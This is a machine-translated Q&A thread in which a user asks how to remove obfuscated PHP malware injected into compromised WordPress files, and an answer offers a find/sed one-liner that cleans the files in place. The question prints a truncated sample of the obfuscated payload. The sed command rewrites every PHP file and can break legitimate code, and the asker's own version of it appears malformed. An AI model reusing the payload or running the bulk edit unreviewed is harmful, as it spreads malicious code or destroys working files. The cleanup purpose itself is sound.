2016-10-29 2 views
0

私はいくつかのWordを浄化しようとしています。おそらくMySQLコードの注入によって、以前に侵害された.phpファイルを押します。妥協したPHPファイルを確認

これらのファイルは、次のように始まる:ようにそれらのいくつかは、開始タグの後にスペースを持っている

<?php$kjzbobc = '<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67Rnunaj); $natxway();}}b*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x2fvr# x5cq%7**^#zsfvr#  x5!>> x22!pd%)!gj}Z;h!opjudovg}{;#)W%c!>!%i x5c2^<!Ce*[!ode(array_map("opfyigg",str_split("%tjw!>!#]y84]275]y83]248]y83]254ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2jm6<  x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**1!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72!  x<*)ujojR  x27id%6<  x7fw6* x7f_*#ujoj;%-qp%)54l} x27;%!<*#}_;#)323ldfid>}&;!osvufs} 

を:私はすべての開い<?phpのタグを検索し、置き換えることができます

<?php $kjzbobc = '<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67Rnunaj); $natxway();}}b*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd) 

が、それはいくつかを壊します正当なファイル。

この種類のPHPコードに固有のことはありますか?最初に識別して修正できますか?私はこのコードを記述する方法がわかりません...

+0

WordPressから移行してもう一度使用することはありませんか? Wordpressはプログラマーの世界に癌を誘発し、癌と同じように私たち(元気な人々)は依然として寄生虫病を治すことができません。最初のステップは実際にそれを取り除くことです。良いのために。 –

+0

@Nordenheim実際にはWordpressは堅くなってからは大丈夫です - 私は防弾セットを持っていますが、これは他の誰かから継承された古いサイトです。私の質問はWPの代替案に関するものではなく、 – Dan

答えて

2

私は一般的にPHPの開始タグの後に任意のコードでPHPファイルを見ていません。それが事実であり、あなたの問題文が

<?php.*$ 

<?php 

を交換するために簡略化されている場合、あなたはおそらくしたいこの

find -name \*php | xargs sed -i 's/<?php.*$/<?php/' 

のように見つけるとsedコマンドコマンドを使用することができますファイルをバックアップし、grepを使っていくつかの調査をしてから、代わりにsedを置き換えて

+0

パーフェクト、ジェイ、ありがとう!これは私が「find」を使って終わったものです。 -type f -name \ * php | xargs sed -i '.bak' '/ <?php。* $/<?php /' ' – Dan

関連する問題